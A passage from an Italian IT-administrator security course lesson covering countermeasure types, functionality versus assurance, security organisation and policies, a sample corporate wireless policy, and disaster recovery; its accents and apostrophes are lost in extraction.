schio ampiamente superiore al costo della contromisura,
questa efficace. Se un certo rischio di scarsa entit e la
contromisura risulterebbe pi costosa rispetto ai benefici,
si pu decidere di accettare il rischio senza alcuna contro-
misura. Lo stesso dicasi nei casi in cui il rischio residuo (il
rischio che rimane dopo ladozione delle contromisure)
non fosse significativamente inferiore al rischio iniziale. In
pratica, la scelta e adozione delle contromisure dettata
sia dagli obiettivi di sicurezza (e relative priorit di urgen-
za e importanza) sia dal buon senso economico.
Si possono classificare le contromisure in tre categorie
a seconda che siano di carattere fisico, di tipo procedura-
le o di tipo tecnico informatico.
Contromisure di carattere fisico. Queste contromisure so-
no generalmente legate alla prevenzione e al controllo del-
laccesso a installazioni, locali, attrezzature, mezzi di co-
municazione. Un esempio un centro di calcolo realizzato
in un edificio protetto e accessibile solo dopo il riconosci-
mento del personale autorizzato. Una server farm per ospi-
tare migliaia di siti web probabilmente dotata di varie
contromisure di tipo fisico: la collocazione in zona elevata
non soggetta ad alluvioni, pompe e rilevatori per evacuare
lacqua, sistemi antincendio, accessi blindati e sorvegliati
e via dicendo. Dato che sistemi e installazioni comunicano
in rete, anche le linee di comunicazione possono avere bi-
sogno di protezione fisica contro intercettazioni, disturbi e
danneggiamenti. Tra le contromisure fisiche ci sono le ca-
nalizzazioni dei cavi di rete, magari interrate o sotto traccia
per ostacolare laccesso e le schermature di vetri e pareti
per contenere il campo delle reti wireless.
Contromisure di tipo procedurale. Queste contromisure
definiscono passo per passo le operazioni per eseguire un
certo compito oppure regolano il comportamento degli
utenti per gli aspetti che riguardano la sicurezza delle infor-
mazioni e delle risorse.
Mentre le contromisure fisiche proteggono laccesso fi-
sico alle risorse e le contromisure informatiche agiscono a
livello hardware, firmware e software, le procedure opera-
tive e le regole di comportamento si applicano alle perso-
ne (utenti e amministratori). Lo scopo, da un lato, quello
di evitare che gli utenti causino vulnerabilit e minacce e,
dallaltro, che contribuiscano a mantenere alte le difese ri-
ducendo i rischi residui lasciati dalle altre contromisure.
Esempi di contromisure di tipo procedurale sono il con-
trollo dellidentit dei visitatori e la limitazione delle aree a
cui hanno accesso. Quando si usa un badge o altra scheda
di riconoscimento, anche la sua custodia oggetto delle
procedure, cos che non venga lasciato sulla scrivania o in
un cassetto aperto o comunque a disposizione di altri.
Le password sono uno strumento di protezione infor-
matico, ma le regole per la loro assegnazione, durata, uti-
lizzo e custodia fanno parte delle contromisure procedurali
per ridurre il rischio che cadano in cattive mani. Alcune
norme comuni sono: utilizzare password non brevi, conte-
nenti non solo lettere; raccomandare o imporre modifiche
periodiche delle password; bloccare laccesso dopo un nu-
mero limitato di tentativi errati; sensibilizzare e responsa-
bilizzare gli utenti sugli effetti della mancata riservatezza
(tenere la password su un post-it sotto la tastiera, in un cas-
setto ecc. o comunicare la propria password a un collega o
a un sedicente tecnico di assistenza).
Come per le password, ci sono altre contromisure infor-
matiche che sono efficaci solo se si rispettano certe norme
duso o procedure organizzative. Un antivirus, per esem-
pio, efficace se aggiornato di frequente, come minimo
una volta al giorno. Una vulnerabilit degli antivirus in-
fatti quella di non proteggere dai virus di recente introdu-
zione; il rimedio installare un sistema centralizzato e una
procedura che assicuri laggiornamento almeno quotidiano
del file di riconoscimento dei virus e un aggiornamento pe-
riodico del software antivirus. Per un piccolo ufficio, lo
stesso risultato pu essere ottenuto installando un antivi-
rus che scarichi automaticamente gli aggiornamenti tutti i
giorni e che esegua una scansione giornaliera dei file.
In generale, le contromisure di tipo procedurale do-
vrebbero essere ridotte al minimo, sostituendole quando
possibile con sistemi automatizzati, meno soggetti agli er-
rori, dimenticanze e violazioni degli utenti. il caso, per
esempio, dei dispostivi di riconoscimento biometrici usa-
ti al posto dei badge o delle password. Anche laggiorna-
mento periodico del firmware dei firewall, anzich essere
oggetto di norme procedurali, pu essere automatizzato
utilizzando firewall che si aggiornano automaticamente col-
legandosi al sito del produttore. In questo modo, sia le fun-
zionalit sia le protezioni sono tenute aggiornate evitando
il costo degli interventi manuali, linterruzione del servizio,
il rischio di errori manuali e il rischio di una minore prote-
zione a causa dellinvecchiamento del firmware.
Altri esempi riguardano le norme duso di hardware e
software, dove una documentazione inadeguata e un ad-
destramento sommario possono favorire errori o il man-
cato utilizzo di certe funzioni, aumentando i rischi per la si-
curezza.
Nel campo dei backup, non tutte le aziende hanno pro-
cedure automatiche che garantiscano il ripristino dopo un
disastro (disaster recovery) o la continuit operativa (bu-
siness continuity) a dispetto di qualsiasi evento catastrofi-
co. Vista lentit dellimpatto e la frequenza di guasti ai sup-
porti magnetici, vitale avere una strategia di backup e
mettere in atto procedure che garantiscano lesecuzione
dei back a pi livelli (con diverse periodicit) e la verifica
dellintegrit e utilizzabilit dei supporti di backup. Parte di
queste operazioni pu essere automatizzata, specialmente
nelle aziende medio-grandi; la verifica dei supporti di
www.pcopen.it 8
ITAdministrator - Sicurezza informatica Lezione 1
backup invece spesso un punto trascurato. Nei piccoli uf-
fici, i pi soggetti a improvvisazione e omissioni in tema di
backup, la difficolt di imporre losservanza di procedure
aggirabile tramite applicazioni software commerciali
che, in modo automatico e pianificato, salvano le immagi-
ni delle partizioni degli hard disk, senza interrompere il la-
voro sui computer. In questo modo, si pu utilizzare una
contromisura tecnico informatica al posto di quella che,
normalmente, una contromisura procedurale.
Lo smaltimento dei supporti su cui risiedono informa-
zioni un altro esempio dellopportunit di contromisure
procedurali per evitare che informazioni riservate siano re-
se pubbliche. Le contromisure possono includere la di-
struzione dei documenti cartacei da gettare nella spazza-
tura, la cancellazione dei supporti magnetici da smaltire o
da sostituire in garanzia, lo spostamento degli archivi o le-
strazione degli hard disk prima di mandare un computer in
manutenzione (salvo luso di personale interno con quali-
fica di sicurezza) e la distruzione dei supporti ottici da
smaltire.
Contromisure di tipo tecnico informatico. Queste sono
le contromisure realizzate attraverso mezzi hardware,
firmware e software e prendono anche il nome di funzioni
di sicurezza. In base al loro campo dazione, possono es-
sere classificate nelle categorie che seguono.
Identificazione e autenticazione. Le funzioni di questa
categoria servono a identificare un individuo o un proces-
so e ad autenticarne lidentit. Lesempio pi comune la
funzione di accesso (login) a un sistema tramite nome uten-
te (per lidentificazione) e password (per lautenticazione
dellidentit). Lautenticazione viene usata anche nelle co-
municazioni tra processi e nei protocolli di comunicazione
per accertare lidentit del processo o dellutente associa-
to al processo.
Controllo degli accessi. In questa categoria troviamo le
funzioni di sicurezza che verificano se il processo o luten-
te, di cui stata autenticata lidentit, ha il diritto di acce-
dere alla risorsa richiesta (per esempio file, directory, stam-
panti) e di eseguire loperazione specificata (per esempio
lettura, esecuzione, modifica, creazione, cancellazione).
Per i processi, anche laccesso alla memoria regolamen-
tato, in modo che un processo non possa leggere i dati di
un altro processo o, in certi casi, non possa eseguire istru-
zioni contenute in aree destinate esclusivamente a dati.
Analoghe funzioni sono svolte a livello hardware dalla CPU
nella sua gestione delle pagine di memoria.
Rendicontabilit (accountability). A questa categoria
appartengono le funzioni che permettono di attribuire la re-
sponsabilit degli eventi agli individui che li hanno causa-
ti. Laccountability richiede lattuazione delle misure di-
dentificazione e autenticazione degli utenti e lassociazio-
ne a ogni processo dellidentit del suo proprietario, come
avviene nei moderni sistemi operativi.
Verifica (audit). A questa categoria appartengono le fun-
zioni che registrano gli eventi in un file di logging, con infor-
mazioni riguardo a errori e a violazioni di sicurezza. Grazie
a queste registrazioni, possibile risalire a ci che acca-
duto e prendere provvedimenti. Nel caso di segnalazione di
malfunzionamenti hardware o di errori software, si posso-
no intraprendere azioni di diagnosi e manutenzione (per
esempio la verifica e correzione del file system).
Nel caso di eventi che riguardano la sicurezza, il log
permette di scoprire irregolarit, come tentativi di accesso
illeciti e tentativi di intrusione. Esempi di funzioni di logging
sono quelle di Windows, che registra log degli eventi di si-
stema, applicativi e di sicurezza oppure il demone syslogd
dei sistemi Unix/Linux.
Nel caso dei firewall, il log comprende la registrazione
selettiva degli eventi che si desidera tenere sotto control-
lo: tutti, se non non attiva nessun filtro, oppure solo quelli
che superano un certo livello di gravit.
Solitamente i firewall offrono lopzione di logging remo-
to, che consiste nellinviare la segnalazione degli eventi a
un computer, in modo da poter tenere registrazioni anche
voluminose (su lunghi periodi di tempo) e poterle analiz-
zare pi facilmente.
Riutilizzo degli oggetti. Questa categoria comprende le
funzioni che permettono di riutilizzare oggetti contenenti
informazioni riservate: supporti magnetici, supporti ottici
riscrivibili, aree di memoria RAM, zone di memoria dei pro-
cessori (registri, cache, ecc.), buffer di periferiche e simili.
Lo scopo quello di evitare che informazioni riservate sia-
no lasciate a disposizione di programmi e utenti dopo il lo-
ro regolare utilizzo. Le contromisure in questa area hanno
il compito di cancellare le aree di memoria e di disco subi-
to dopo il loro utilizzo per il transito di informazioni riser-
vate. Un esempio riguarda le aree di memoria dove transi-
tano le password o altre informazioni in chiaro prima del-
la loro cifratura: buffer, registri e aree di lavoro dovrebbe-
ro essere cancellate per evitare che siano lette da altri pro-
cessi autorizzati ad accedere a quelle aree ma associati a
utenti non autorizzati alla conoscenza di quelle informa-
zioni. Un altro esempio offerto dalle aree di scambio su di-
sco, come i file di swapping o paging del sistema operativo.
utile attivare lopzione di cancellazione automatica di
questi file alla chiusura del sistema, in modo che utenti
non autorizzati non possano esaminarlo a caccia di infor-
mazioni riservate.
Accuratezza. Fanno parte di questa categoria tutte le
funzioni intese a garantire laccuratezza delle informazioni.
Per esempio, perch i file di logging forniscano informazio-
ni attendibili, la registrazione temporale (time stamp) del-
levento deve essere precisa. Questo accade se lorologio in-
terno sincronizzato periodicamente con un time server di
riferimento. Sistemi operativi, switch, firewall e altri dispo-
sitivi offrono questa funzionalit, che se necessario va atti-
vata specificando il nome del time server (per esempio ti-
me.nist.gov). In campo software, esempi di funzioni a dife-
sa dellaccuratezza delle informazioni sono le funzioni che
controllano i limiti di occupazione di buffer e array e quel-
le che validano la correttezza dei dati immessi dagli utenti.
Affidabilit del servizio. Questa una vasta categoria
di contromisure, perch sono diverse le aree che potreb-
bero compromettere laffidabilit dei servizi informatici. Si
inizia dalle contromisure per mantenere condizioni di ali-
mentazione elettrica stabile, filtrata e senza interruzione
(gruppi di continuit), per passare alle difese dai malfun-
zionamenti hardware (monitoraggio e manutenzione pre-
ventiva) e software (monitoraggio degli errori nei file di log-
ging, aggiornamenti, monitoraggio delle prestazioni, roll-
back delle transazioni non andate a buon fine, ripristino di
uno stato precedente del sistema operativo, ripristino del-
le partizioni di disco a uno stato integro precedente). Altre
contromisure possono essere sviluppate per difendere si-
stemi e applicazioni dagli errori degli utenti.
Scambio dati sicuro. In questa categoria ci sono le fun-
zioni destinate a garantire la sicurezza delle trasmissioni. Il
modello OSI Security Architecture (ISO 7498-2) le classifica
nelle seguenti sottoclassi: autenticazione, controllo del-
laccesso, riservatezza, integrit (dellhardware, dei dati e
dei flussi di pacchetti trasmessi sia in modo connection-
less, come UDP, sia connection-oriented, come TCP, anche
ai fini della corretta sequenza dei pacchetti) e non ripudio.
Esempi di contromisure in questa area sono luso di crit-
tografia a chiave simmetrica e asimmetrica (chiave pub-
blica pi chiave privata) e lautenticazione tramite Messa-
ge Authentication Code (il risultato dellhashing applicato
al messaggio pi una chiave segreta simmetrica; vengono
trasmessi messaggio e MAC; a destinazione il MAC viene ri-
calcolato sul messaggio pi chiave simmetrica e confron-
tato col MAC ricevuto, cos da verificare lintegrit del mes-
saggio e lautenticazione del mittente).
Funzionalit e garanzia nel controllo del rischio
La sicurezza delle informazioni caratterizzata da due
www.pcopen.it 9
Lezione 1 IT Administrator - Sicurezza informatica
fattori di base indipendenti: la funzionalit e la garanzia (as-
surance).
Il termine funzionalit, applicato alla sicurezza, conser-
va il significato generale che ha in altri settori; linsieme
di ci che un prodotto o un sistema informatico fornisce in
relazione alla protezione delle informazioni e, di riflesso,
delle risorse e dei servizi informatici. Il panorama di con-
tromisure descritto nella sezione precedente (5.1.2.2) com-
prende gran parte delle funzionalit di sicurezza che po-
trebbero essere necessarie.
Il concetto di garanzia stato introdotto da chi si occu-
pa di sicurezza per esprimere il grado in cui limplementa-
zione di una funzionalit riduce una vulnerabilit o la pos-
sibilit di attuazione di una minaccia. Se la funzionalit rap-
presenta un elemento di protezione, la garanzia ne indica la
validit.
Prendiamo ad esempio la funzionalit autenticazione
dellidentit. Oggi limplementazione pi comune consiste
nelluso di una password segreta per convalidare il nome
dellutente. Tuttavia, ci sono altre soluzioni, come lutilizzo
di un oggetto fisico (come badge o smart card) o di un di-
spositivo biometrico (basato ad esempio sul riconosci-
mento dellimpronta digitale, della cornea, del volto o del-
la voce). Nessuna di queste implementazioni infallibile e
la scelta dipende da vari fattori: il settore di attivit, la di-
mensione aziendale, il livello di rischio, la sensibilit e la
competenza degli utenti, le minacce ambientali, i costi so-
stenibili e via dicendo. Un laboratorio di ricerca in un set-
tore avanzato competitivo potrebbe dotarsi di un sistema
di riconoscimento vocale sofisticato da un punto di vista
funzionale, ma di scarsa garanzia se le parole da pronun-
ciare sono prevedibili (e quindi preventivamente registra-
bili).
Altrettanto scarsa garanzia offrirebbe un sistema di ri-
conoscimento dellimpronta digitale dove un guardiano
prevenisse frodi ma la precisione del riconoscimento fosse
insoddisfacente.
Vediamo quindi che la garanzia costituita a sua volta
da due aspetti distinti: la correttezza e lefficacia. La cor-
rettezza un attributo intrinseco di un prodotto (o com-
ponente o procedura), che riflette il grado di corrispon-
denza tra le effettive funzioni svolte dal prodotto e le sue
specifiche. Per esempio, un prodotto capace di riconosce-
re il 99% delle voci umane adulte con almeno 30 dB di rap-
porto segnale/rumore, riceverebbe unalta valutazione di
correttezza rispetto alla funzione riconoscere la voce de-
gli utenti.
La correttezza una propriet intrinseca del prodotto
nellambito delle condizioni duso previste; non dipende da
fattori esterni, come lopportunit di utilizzare o meno quel
prodotto per soddisfare una particolare esigenza.
Lefficacia invece una propriet che mette in relazione
la contromisura (prodotto, procedura o altro) con il con-
testo in cui utilizzata, in particolare le vulnerabilit, la gra-
vit e la probabilit di attuazione delle minacce, le caratte-
ristiche degli agenti che attuano le minacce, limportanza
del bene da proteggere e cos via. Supponiamo che per il la-
boratorio del nostro esempio sia vitale consentire lacces-
so solo al personale autorizzato, visto il valore delle infor-
mazioni e risorse da proteggere e lalta probabilit di mi-
nacce di intrusione fisica e telematica da parte di agenti
(software e individui) ritenuti pericolosi. Il progetto di si-
curezza si basa sulla completezza delle funzionalit (le con-
tromisure messe in campo) e sulla garanzia che le contro-
misure adottate riducano le vulnerabilit e le minacce a li-
velli accettabili. Supponendo che lanalisi del rischio abbia
portato a identificare tutte le funzionalit di sicurezza uti-
lizzabili, tra cui gli strumenti e le procedure per impedire
una falsa autenticazione da parte di software e personale
ostile, nella fase di valutazione della garanzia si dovranno
esaminare correttezza ed efficacia delle soluzioni. Per
esempio, un sistema di riconoscimento vocale potrebbe ri-
sultare adatto per ambienti con livello medio di rischio, ma
essere inadeguato a fronte di un rischio elevato e di una mi-
naccia agguerrita. Potrebbe risultare pi efficace un siste-
ma basato su domande a cui solo il legittimo utente possa
rispondere o su un dispositivo fisico (tipo smart card) in-
terattivo, da aggiornare ogni giorno per rimanere valido (in
modo da perdere validit in caso di furto o manipolazione).
Un altro esempio ci viene offerto dalle contromisure di
natura fisica per impedire laccesso alle persone non auto-
rizzate. Le contromisure per il controllo dellaccesso pos-
sono limitarsi a una porta blindata o includere sistemi di ri-
levamento del movimento, telecamere e registratore video,
sistemi di allarme con chiamata di numeri telefonici e altri
deterrenti per impedire e/o scoraggiare il tentativo di ef-
frazione. In fase di analisi del rischio, supponiamo che sia
emersa lesigenza di installare una porta blindata capace di
resistere a una determinata forza di sfondamento, priva di
cardini a vista e resistente al fuoco. Queste sono quindi le
specifiche rispetto alle quali verr valutata la correttezza
dei prodotti. Ora, anche se abbiamo individuato la miglio-
re delle porte blindate sul mercato, dobbiamo valutare la-
spetto efficacia. Per quanto tempo la porta resister alle
tecniche di scasso pi evolute? Qual la probabilit che le
forze dellordine arrivino in tempo per impedire laccesso
alle risorse informatiche, agli archivi e alle informazioni? Se
il rischio rilevante, probabilmente si dovr identificare un
pacchetto di contromisure che, nellinsieme, costituiscano
un percorso ad ostacoli capace di resistere al gruppo dat-
tacco pi determinato.
Poich i beni da proteggere possono essere assai diver-
si da un caso allaltro, il programma di sicurezza dovr es-
sere personalizzato per la situazione specifica, in modo che
la scelta delle contromisure e relative funzionalit e garan-
zie siano commisurate allentit del rischio e ai tipi vulne-
rabilit e minacce.
Organizzazione della sicurezza
I processi
La sicurezza delle informazioni il risultato di un insie-
me di processi ai vari livelli dellorganigramma aziendale.
Non bastano strumenti e tecnologie per ottenere la sicu-
rezza. Occorre, in primo luogo, creare unorganizzazione
per la sicurezza che assuma la responsabilit di quanto at-
tiene alla sicurezza e coinvolga lintera struttura aziendale,
in modo che tutto il personale contribuisca nel proprio am-
bito al disegno generale della sicurezza. Infatti, la sicurez-
za delle informazioni, delle risorse informative (non solo
informatiche) e in generale dei beni e del valore dellazien-
da dipende non solo dal lavoro del gruppo addetto alla si-
curezza ma anche dal comportamento del personale (in-
terno ed esterno) a tutti i livelli dellorganigramma.
Come avviene per il progetto di un edificio, lorganizza-
zione della sicurezza dovrebbe partire dallalto, dove gli
obiettivi e le politiche di sicurezza sono definiti in termini
generali dal top management, per essere poi specificati nei
dettagli man mano che si scende attraverso gli strati del
modello organizzativo della sicurezza. In cima a questo mo-
dello ci sono gli obiettivi di business strategici, che ispira-
no i processi fondamentali di cui si deve fare carico lorga-
nizzazione di sicurezza: classificazione dei beni e del loro
valore, censimento di vulnerabilit e minacce, analisi del ri-
schio, analisi costi/benefici delle contromisure, valutazio-
ne del grado di protezione, definizione delle politiche di si-
curezza, pianificazione, implementazione e gestione dei
progetti di sicurezza, monitoraggio della conformit tra le
soluzioni adottate e le politiche di sicurezza e altro ancora.
Lapproccio dallalto al basso permette di coinvolgere
tutti i livelli aziendali interessati, di assegnare precise re-
sponsabilit, di definire politiche coerenti per lintera strut-
5.1.2 Gestione del
rischio
5.1.2.3 conoscere la
differenza tra
funzionalit e
garanzia e
limportanza di
conseguire entrambe
al fine di controllare il
rischio.
5.1.3 Organizzazione
della sicurezza
5.1.3.2 conoscere i
principali processi da
attivare in
unorganizzazione
che mira a
conseguire la
sicurezza delle
informazioni.
www.pcopen.it 10
ITAdministrator - Sicurezza informatica Lezione 1
tura aziendale, di sensibilizzare ed educare il personale, di
finanziare adeguatamente il progetto sicurezza e di rimuo-
vere gli ostacoli che si presenteranno quando verranno
adottate procedure e strumenti che avranno un impatto
sulloperativit quotidiana e sulle abitudini del personale (a
tutti i livelli).
A volte nelle aziende vengono prese iniziative di sicu-
rezza dal basso, con le buone intenzioni di proteggere al-
cuni obiettivi di sicurezza immediati. Senza la forza di spin-
ta, lautorit, la responsabilit, il coinvolgimento generale
e i mezzi assicurati dal management superiore, i tentativi
dal basso si scontrano facilmente con ostacoli insormon-
tabili e sono spesso destinati a fallire. Il migliore interesse
dellazienda esige che la responsabilit della sicurezza si
diffonda a cascata dalla cima verso la base della piramide
aziendale, con la partecipazione dei vari strati di utenti del-
la sicurezza. In questo modo, anzich turare alcune falle
senza un piano preciso, si potr corazzare lintera struttu-
ra aziendale nel modo pi efficiente rispetto al rischio da
controllare e al budget disponibile. Una volta definiti gli
obiettivi, le politiche, un piano e le soluzioni da adottare, si
potr sensibilizzare e informare tutto il personale sugli
aspetti concernenti la sicurezza, rendendo esplicite le re-
sponsabilit e le sanzioni per manager, amministratori e
utenti.
La struttura organizzativa della sicurezza pu assumere
varie forme secondo il tipo e le dimensioni dellazienda, il
campo di attivit, il rapporto con lambiente, il mercato e
altri fattori. Pu essere informale in una piccola azienda
senza particolari problemi di sicurezza oppure essere
complessa con rappresentanti delle diverse aree aziendali
in una grande societ. Pu limitarsi alla sicurezza delle
informazioni o estendere la propria sfera allintera sicu-
rezza aziendale, inclusa la gestione del rischio nei settori
operativo, marketing, finanziario ecc.
Un aspetto che modella i processi di sicurezza il costo
in base al rischio e allattivit dellazienda. A questo pro-
posito, facile immaginare una scala crescente di rischi e
investimenti in sicurezza. Aziende manifatturiere, organiz-
zazioni finanziarie, certification authority (organizzazioni fi-
date che rilasciano certificati digitali) e forze armate sono
esempi di requisiti crescenti di sicurezza.
Uno dei primi compiti del gruppo incaricato della sicu-
rezza quindi quello di inquadrare lazienda in base al mo-
dello di attivit, allesposizione ai rischi e alla dipendenza
dallinfrastruttura informatica e di comunicazioni. Questo
esame preliminare dovr tenere in considerazione il qua-
dro legislativo tracciato dalle leggi sulla criminalit infor-
matica e sulla privacy che si sono succedute numerose nel
corso degli anni e che sono culminati con il decreto legge
196 del 2003 (Codice in materia di protezione dei dati per-
sonali). Le norme di legge pongono dei vincoli, secondo il
tipo di attivit, che devono essere calcolati nel delineare
lorganizzazione, le politiche e i progetti di sicurezza.
Di conseguenza, lorganizzazione della sicurezza do-
vrebbe partire dagli individui, top manager e personale de-
legato, che per legge sono ritenuti proprietari e custodi del-
le informazioni e pertanto responsabili delle eventuali vio-
lazioni da parte dellintero personale aziendale e respon-
sabili dei danni verso terzi che ne conseguono. Dopo di
Un esempio di politica di sicurezza
per le comunicazioni wireless
1.0 Scopo
Questa policy proibisce laccesso alla rete della ACME
SpA attraverso connessioni wireless insicure, cio non
protette tramite autenticazione dellutente e cifratura dei
dati. Solo i sistemi wireless conformi ai criteri di questa
policy o che hanno ricevuto una speciale esenzione dal
responsabile della sicurezza sono approvati per la
connessione alle reti della ACME SpA.
2.0 Portata
Questa policy copre tutti i dispositivi di comunicazione
dati senza fili (per es. personal computer, telefoni
cellulari, PDA eccetera) connessi con una delle reti della
ACME SpA. Questo comprende qualunque tipo di
dispositivo wireless capace di trasmettere dati a
pacchetti. I dispositivi e le reti wireless senza alcuna
connessione alle reti della ACME SpA non rientrano
nellambito di questa policy.
3.0 Policy
3.1 Registrazione degli access point e delle schede
Tutti gli access point o stazioni di base connessi alla
rete aziendale devono essere registrati e approvati dal
responsabile della sicurezza. Questi access point sono
soggetti a test di intrusione e a periodici audit. Tutte le
schede dinterfaccia wireless di rete usate sui desktop e
notebook aziendali devono essere registrate presso il
responsabile della sicurezza.
3.2 Tecnologie approvate
Ogni accesso wireless alla LAN deve utilizzare prodotti e
configurazioni di sicurezza approvati dallazienda.
3.3 Cifratura e autenticazione via VPN
Tutti i computer con dispositivi LAN wireless devono
utilizzare una Rete Privata Virtuale (VPN) approvata
dallazienda e configurata per ignorare tutto il traffico
non autenticato e non cifrato. Per conformit con questa
policy, le implementazioni wireless devono mantenere
una cifratura hardware di ogni connessione con chiavi di
almeno 128 bit. Tutte le implementazioni devono
supportare un indirizzo hardware (MAC address)
registrato e rintracciabile. Tutte le implementazioni
devono supportare e impiegare una forte autenticazione
degli utenti tramite accesso a un server e database
esterno come TACACS+, RADIUS o simile.
3.4 Impostazione dellSSID
LSSID (Service Set Identifier unintestazione
aggiuntiva ai pacchetti mandati su una WLAN che funge
da password per chi vuole accedere alla rete - sar
impostato in modo che non contenga alcuna
informazione relativa allorganizzazione, come nome
dellazienda, nome della divisione o identificatore del
prodotto.
4.0 Applicazione
Qualunque dipendente sia riconosciuto responsabile di
aver violato questa policy pu essere soggetto ad azione
disciplinare, fino alla cessazione del rapporto di lavoro.
5.0 Definizioni
Termine Definizione
Autenticazione Un metodo per verificare se lutente
di un sistema wireless un utente
legittimo, indipendentemente dal
computer o dal sistema operativo
che viene usato.
6.0 Revisioni
10 luglio 2004, aggiunta la sezione 3.4
20 marzo 2004, sezione 3.3 modificata per includere gli
indirizzi MAC
www.pcopen.it 11
Lezione 1 IT Administrator - Sicurezza informatica
che, la partecipazione dovrebbe allargarsi a tutti i livelli. Il
management di livello superiore ha la visione globale del-
lazienda e degli obiettivi di business. I manager intermedi
sanno come funzionano i propri dipartimenti, conoscono il
ruolo degli individui e possono valutare limpatto diretto
della sicurezza nelle loro aree. I manager di livello inferio-
re e lo staff sono a contatto con leffettiva operativit del-
lazienda e conoscono in dettaglio le esigenze tecniche e
procedurali, i sistemi e il loro utilizzo; utilizzano i mecca-
nismi di sicurezza nel lavoro quotidiano e sanno come es-
si si integrano nei sistemi e nei flussi di lavoro e come in-
fluiscono sulla produttivit.
Il ruolo delle politiche di sicurezza
Di solito, le informazioni e le risorse informatiche hanno
una relazione diretta con gli obiettivi e con lesistenza stes-
sa di unazienda. Il management di livello superiore do-
vrebbe perci considerare prioritaria la loro protezione,
definendo gli obiettivi della sicurezza, fornendo il suppor-
to e le risorse necessari e avviando il programma di sicu-
rezza aziendale. Il management deve definire la sfera da-
zione della sicurezza, che cosa deve essere protetto e in
che misura, tenendo conto delle leggi vigenti e dei risulta-
ti dellanalisi del rischio. Quindi deve precisare ci che ci si
aspetta dal personale e le conseguenze delle violazioni. Un
programma di sicurezza dovrebbe contenere tutti gli ele-
menti necessari a fornire allazienda una protezione com-
pleta secondo una strategia a lungo termine. Questi ele-
menti comprendono tra laltro le politiche di sicurezza, le
procedure, gli standard, le linee guida, i criteri minimi di si-
curezza, le azioni di sensibilizzazione e addestramento, le
modalit di reazione agli incidenti e un programma per il
controllo della sicurezza.
La definizione delle politiche di sicurezza a livello azien-
dale il primo risultato dellorganizzazione di sicurezza.
Una politica di sicurezza un documento sintetico in cui il
management superiore, o un comitato delegato allo scopo,
delinea il ruolo della sicurezza nellorganizzazione o in un
suo aspetto particolare.
Generalmente sono necessarie diverse politiche di si-
curezza a pi livelli, da quello superiore riguardante linte-
ra azienda, scendendo ad argomenti pi specifici, come il
sistema informatico e i singoli aspetti tecnici. Il linguaggio,
il livello di dettaglio e il formalismo dei documenti di sicu-
rezza dovranno essere realistici per avere efficacia. Unor-
ganizzazione altamente strutturata sar pi portata a se-
guire politiche e linee guida dettagliate, mentre unazienda
meno strutturata richieder maggiori spiegazioni e una
particolare enfasi per ottenere lapplicazione delle misure
di sicurezza.
La terminologia usata per individuare i livelli principali
delle politiche di sicurezza pu variare. In una grande or-
ganizzazione si pu parlare di organizational security po-
licy, issue-specific policies e system-specific policies per in-
dicare le politiche di sicurezza aziendale, le politiche per
limplementazione di funzioni di sicurezza specifiche e
quelle riguardanti direttamente i computer, le reti, il
software e i dati.
Unaltra suddivisione, applicabile anche su scala medio-
piccola, individua tre livelli: la politica di sicurezza azien-
dale (corporate security policy), la politica di sicurezza per
il sistema informativo (system security policy) e la politica
di sicurezza tecnica (technical security policy).
La politica di sicurezza aziendale indica tutto ci che
deve essere protetto (beni materiali e immateriali) in fun-
zione del tipo di attivit dellazienda, del modello di busi-
ness, dei vincoli esterni (mercato, competizione, leggi vi-
genti) e dei fattori di rischio. Questo documento definisce
gli obiettivi del programma di sicurezza, assegna le re-
sponsabilit per la protezione dei beni e limplementazio-
ne delle misure e attivit di sicurezza e delinea come il pro-
gramma deve essere eseguito. La politica di sicurezza
aziendale fornisce la portata e la direzione di tutte le futu-
re attivit di sicurezza allinterno dellorganizzazione, in-
cluso il livello di rischio che il management disposto ad
accettare.
La politica di sicurezza del sistema informatico defini-
sce, coerentemente con la politica di sicurezza aziendale, in
che modo lazienda intende proteggere le informazioni e le
risorse informatiche, senza entrare nel merito delle tecno-
logie che verranno adottate. In questa fase vengono presi
in considerazione requisiti di sicurezza di tipo fisico e pro-
cedurale, mentre gli aspetti tecnici sono demandati al li-
vello inferiore.
La politica di sicurezza tecnica traduce in requisiti tec-
nici funzionali gli obiettivi che si desidera raggiungere at-
traverso le contromisure di tipo tecnico informatico, nel
contesto dellarchitettura di sistema adottata o pianificata
dallazienda.
In unazienda di piccole dimensioni potranno essere suf-
ficienti singole politiche di sicurezza per ciascuno dei due
livelli inferiori, ma in presenza di pi sistemi, dipartimenti
e divisioni, probabile che le politiche di sicurezza si sud-
dividano per area e per argomento. (Esempi di politiche di
sicurezza sono forniti dal SANS Institute alla pagina
http://www.sans.org/resources/policies/).
Disaster Recovery e Business Continuity
La Disaster Recovery, nel contesto informatico, la ca-
pacit di uninfrastruttura di riprendere le operazioni dopo
un disastro. La maggior parte dei grandi sistemi di calcolo
include programmi di disaster recovery, inoltre esistono
applicazioni di disaster recovery autonome che, periodi-
camente, registrano lo stato corrente del sistema e delle ap-
plicazioni, in modo da poter ripristinare le operazioni in un
tempo minimo. Il termine disaster recovery pu essere usa-
to sia dal punto di vista della prevenzione contro la perdi-
ta di dati sia delle azioni per rimediare a un disastro.
Due caratteristiche per valutare lefficacia di un sistema
di disaster recovery sono il Recovery Point Objective
(RPO, il momento nel tempo a cui il sistema riportato) e
il Recovery Time Objective (RTO, il lasso di tempo che in-
tercorre prima di ripristinare linfrastruttura). Per ridurre
la distanza dellRPO rispetto al presente occorre incre-
mentare il sincronismo della data replication, ovvero la re-
plica di archivi e database su un altro sistema, general-
mente remoto per motivi di sicurezza. Per ridurre lRTO, os-
sia il tempo di ripristino, occorre che i dati siano tenuti on
line su un sistema di riserva pronto a subentrare in caso di
avaria al sistema principale.
La business continuity (talvolta chiamata business con-
tinuance) descrive i processi e le procedure che unorga-
nizzazione mette in atto per assicurare che le funzioni es-
senziali rimangano operative durante e dopo un disastro.
Il Business Continuity Planning cerca di prevenire linter-
ruzione dei servizi critici e di ripristinare la piena operati-
vit nel modo pi rapido e indolore possibile.
Il primo passo nel pianificare la business continuity de-
cidere quali delle funzioni aziendali sono essenziali e de-
stinare di conseguenza il budget disponibile. Una volta che
siano identificati i componenti principali, si possono in-
stallare i meccanismi di failover (sistemi di riserva che su-
bentrano in caso di avaria). Tecnologie appropriate, come
la replica dei database o il mirroring dei dischi su Internet,
permettono a unorganizzazione di mantenere copie ag-
giornate dei dati in ubicazioni remote, in modo che lac-
cesso ai dati sia garantito anche quando uninstallazione
cessa di funzionare.
Un piano di business continuity dovrebbe includere: un
piano di disaster recovery che specifichi le strategie per le
procedure in caso di disastro; un piano di business re-
